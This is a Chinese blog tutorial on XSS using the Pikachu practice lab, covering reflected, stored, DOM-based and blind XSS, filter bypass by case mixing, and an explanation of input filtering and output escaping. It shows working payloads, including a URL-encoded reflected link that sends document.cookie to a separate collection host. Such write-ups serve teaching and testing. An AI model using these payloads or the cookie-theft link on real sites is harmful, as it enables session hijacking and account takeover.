web安全-two:XSS

继上一篇one,继续记录XSS
XSS(跨站脚本)概述
Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
(1)反射性XSS;(交互的数据一般不会被存在在数据库里面(服务端),一次性,所见即所得,刷新失效,一般出现在查询类页面等)
(2)存储型XSS;(交互的数据会被存在在数据库里面,永久性存储,一般出现在留言板,注册等页面)
(3)DOM型XSS;(不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性也属于反射型)

XSS特性:
1.XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
2.XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。利用XSS漏洞可以进行钓鱼攻击、前端JS挖矿、获取用户cookie、甚至结合浏览器自身漏洞进行远程控制。
3.形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
4.因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

XSS测试流程:
A、在目标站点上找输入框,比如查询接口,留言板等;
B、输入一组“特殊字符+唯一识别字符”,点击提交,查看返回前端的页面源码,是否有相应的处理(是否被过滤掉);
C、通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造JS执行的条件(构造闭合);
D、提交构造的payload(脚本代码/各种绕过姿势),查看是否可以成功执行,如果成功执行则证明了XSS漏洞的存在;
注:
1.一般查询接口容易出现反射型XSS,留言板容易出现存储型XSS;
2.由于后台可能存在过滤措施,构造的script可能会被过滤掉,导致攻击代码无法生效或者环境限制了执行(浏览器的自身安全特性);
3.可以通过变化不同的script,尝试绕过后台过滤机制;

案例测试一:反射型XSS(GET方式)


图片.png

反射性XSS从前端输入到后端,再输出到前端产生效果,但是后端并不储存XSS代码,刷新页面后就没有了。


图片.png

随意输入,查看返回的源码中我们输入的内容是否被过滤掉,可以看到,输入的内容‘<>123原封不动的显示出来。
那接下我们构造个js语句测试一下,但是发现<script>alert('xss')</script>输入不完整,因为前段做了输入长度的限制,修改一下继续
图片.png

弹窗


图片.png

返回源码查看
图片.png

但是刷新之后就没有了,一次性
同时,我们发现参数是通过GET方式进行的提交,
图片.png

所以我们可以构建好包含XSS_payload的连接直接发给客户端,诱导客户端点击即可做一些XSS能做的事情。。。
查看服务端源码
图片.png

案例测试二:存储型XSS


图片.png

存储型XSS漏洞跟反射型形成的原因一样,不同的是存储型XSS下攻击者可以将脚本注入到后台存储起来(写入数据库或者配置文件,比如留言板功能),构成更加持久的危害(访问该页面的用户全部中招),因此存储型XSS也称“永久型”XSS。
在留言板随意输入,检查下是否有过滤,发现内容原模原样显示出来


图片.png

构造个js语句试下,直接执行,而且永久,每次用户刷新时都执行一次
图片.png

后端源码查看,将留言写入db


图片.png

前端访问时加载留言显示到前端,如果留言是JS代码则前端执行
图片.png

案例测试三:DOM型XSS
什么是DOM?DOM是纯前端的技术;
通过JavaScript,可以重构整个HTML文档。您可以添加、移除、改变或重排页面上的项目。
要改变页面的某个东西,JavaScript 就需要获得对HTML文档中所有元素进行访问的入口。这个入口,连同对HTML元素进行添加、移动、改变或移除的方法和属性,都是通过文档对象模型来获得的(DOM)。
所以,你可以把DOM理解为一个一个访问HTML的标准编程接口。
随意输入,没什么现象,查看下前端源码


图片.png

以下代码简单解释下,就是通过获取一个标签的值,然后按照格式<a href=' "+str+" '>what do you see?</a>写入到另一个标签中,整体被封装在了一个函数中

 function domxss(){
                        var str = document.getElementById("text").value;
                        document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
                    }

我们现在输入的变量参数就是str,那只要将构造("+str+"),对<a href=' "+str+" '>what do you see?</a>进行闭合操作即可,比如:

<a href='   ' onclick="alert('xss')">   '>what do you see?</a> 
图片.png

此时测试,
图片.png

或者

<a href=' '><img src="../../assets/images/avatars/pikachu1.png" onclick="alert('xss')">     '>what do you see?</a>
图片.png

测试
图片.png

通过以上测试发现,DOM性的XSS只是前端自己的问题:自己接受参数自己执行,攻击的JS代码不会传到后端再返回;此时感觉这种DOM-XSS没什么太大危害,因为你没有像前面的反射XSS或者存储XSS那样进行对客户端的攻击,只是自己本地的效果执行;接下来继续看

皮卡丘DOM-XSS-X继续

还是分析前端代码
图片.png

图片.png

通过获取URL参数,提取用户的输入,最后写入到dom标签中

function domxss(){
                        var str = window.location.search;
                        var txss = decodeURIComponent(str.split("text=")[1]);
                        var xss = txss.replace(/\+/g,' ');
//                        alert(xss);
                        document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
                    }
图片.png

那么我们思路和上面一样,进行同样的构造url,然后将url发给被攻击者引诱其点击即可,
图片.png

通过以上测试大家应该清楚,如果是GET方式传参的话,配合DOM-XSS就可以构造恶意URL了,这种效果和反射型XSS很像了,但原理不一样(反射XSS是后端将恶意代码返回前端执行,DOM是前端自己接受参数构造了恶意代码自己执行,不过都是一次性);

案例测试四:XSS获取cookie
以上测试我们是在客户端弹窗,本测试我们直接获取下客户端的cookie,以反射性GET—XSS为例:
直接使用pikachu自带的xss平台即可,构造恶意连接发给客户端诱导点击,获取cookie进行登录

http://172.172.3.251/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F172.172.5.51%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit

此时,在XSS平台上可以看到客户端的cookie信息
图片.png

后续利用cookie登录大家可以尝试。。。

那么POST_XSS呢?

难点在于如何让客户端提交发送携带payload的请求,不像GET型,可以直接构造URL传参,POST型参数是在请求体中的。此时我们的方案是搭建一个服务端,诱导客户端访问我们的一个页面,直接模拟用户携带payload访问存在XSS漏洞的服务器页面,然后反射给客户端执行,然后客户端携带cookie发给我们的XSS平台即可(此处和GET_XSS原理就一样了)。post.html在cookies目录下可以直接使用
图片.png

效果:
图片.png

案例测试五: XSS盲打
上述XSS测试,我们测试前都在输入框随意输入来看下是否做了过滤从而答题判断是否具有XSS漏洞,但是有时候有些留言板我们提交数据后只有后端能够看(管理员看,我们看不到)也就是不会返回给前端用户;此时我们就不确定是否存在XSS漏洞,那怎么办嫩,干就完了。


图片.png

然后以管理员身份登录,可以看到管理员xss到,如果payload是获取管理的cookie,那么危害就很大了而且payload是写入到了数据库里,永久存在的(类似于存储型XSS了);
图片.png

案例测试六: XSS绕过
XSS绕过(后端有过滤的情况)的常见方式有 前端限制、大小写、拼凑、注释干扰等
(1)前端只能起到辅助作用,不能起到本质的安全;
(2)一般会使用正则进行过滤匹配,正则是区分大小写的,我们通过大小写来绕过正则的匹配,而且大小写payload返回前端时会正常的执行;
(3)拼凑的一般使用场景指的是后端有过滤,如果只过滤1次的话,我们进行拼凑,后端把我们的内容过滤后整好出现了完整的payload
(4)注释干扰指的在payload中加一些注释语句,这些注释语句夹杂一起后端可能识别不出来我们的payload,但是前段执行的时候是忽略注释语句的,还是执行了完整的payload
测试XSS绕过

先随意输入一些关键字,看看是否被过滤<scripr>'"123<ScRipt>66666
图片.png

看到效果
图片.png

单独测试下大小写是否过滤
图片.png
图片.png

那我们就利用大小写或者<img>吧
<Script>alert('4444')</ScrIpt>,正常执行,OK
图片.png
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 206,602评论 6 481
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 88,442评论 2 382
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 152,878评论 0 344
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 55,306评论 1 279
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 64,330评论 5 373
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,071评论 1 285
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,382评论 3 400
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,006评论 0 259
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,512评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,965评论 2 325
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,094评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,732评论 4 323
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,283评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,286评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,512评论 1 262
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,536评论 2 354
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,828评论 2 345